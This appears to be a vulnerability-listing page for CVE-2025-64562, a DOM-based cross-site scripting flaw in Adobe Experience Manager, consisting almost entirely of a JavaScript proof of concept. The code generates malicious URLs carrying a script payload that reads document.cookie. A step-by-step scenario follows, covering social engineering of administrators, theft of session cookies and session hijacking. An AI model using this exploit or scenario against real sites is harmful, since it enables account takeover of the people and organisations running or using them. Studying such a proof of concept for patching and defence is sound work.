CVE-2025-64562 Adobe Experience Manager DOM型跨站脚本漏洞

// CVE-2025-64562 DOM-based XSS PoC for Adobe Experience Manager // This PoC demonstrates the DOM XSS vulnerability in AEM const vulnerableEndpoint = 'https://vulnerable-aem-instance.com/content/path'; // Malicious payload - XSS via URL fragment or parameter const xssPayload = '<script>alert(document.cookie)</script>'; // Method 1: URL Fragment-based attack function generateFragmentXSSUrl(baseUrl, payload) { const encodedPayload = encodeURIComponent(payload); return `${baseUrl}#${encodedPayload}`; } // Method 2: URL Parameter-based attack function generateParamXSSUrl(baseUrl, paramName, payload) { const encodedPayload = encodeURIComponent(payload); return `${baseUrl}?${paramName}=${encodedPayload}`; } // Generate the malicious URL const maliciousUrl = generateParamXSSUrl(vulnerableEndpoint, 'ref', xssPayload); console.log('Malicious URL for CVE-2025-64562:'); console.log(maliciousUrl); // The actual exploitation would involve: // 1. Crafting a URL with XSS payload in a parameter processed by client-side JS // 2. Using DOM manipulation functions like innerHTML, document.write(), etc. // 3. Social engineering to get victim to click the link // Example attack scenario: const attackScenario = { step1: 'Identify the vulnerable AEM endpoint that reflects user input in DOM', step2: 'Inject XSS payload in URL parameter (e.g., ?returnUrl=<script>...)', step3: 'Use social engineering to trick admin/user into clicking the malicious URL', step4: 'XSS executes in victim browser, stealing session cookies', step5: 'Attacker uses stolen cookies for session hijacking' }; console.log('Attack Scenario:', JSON.stringify(attackScenario, null, 2));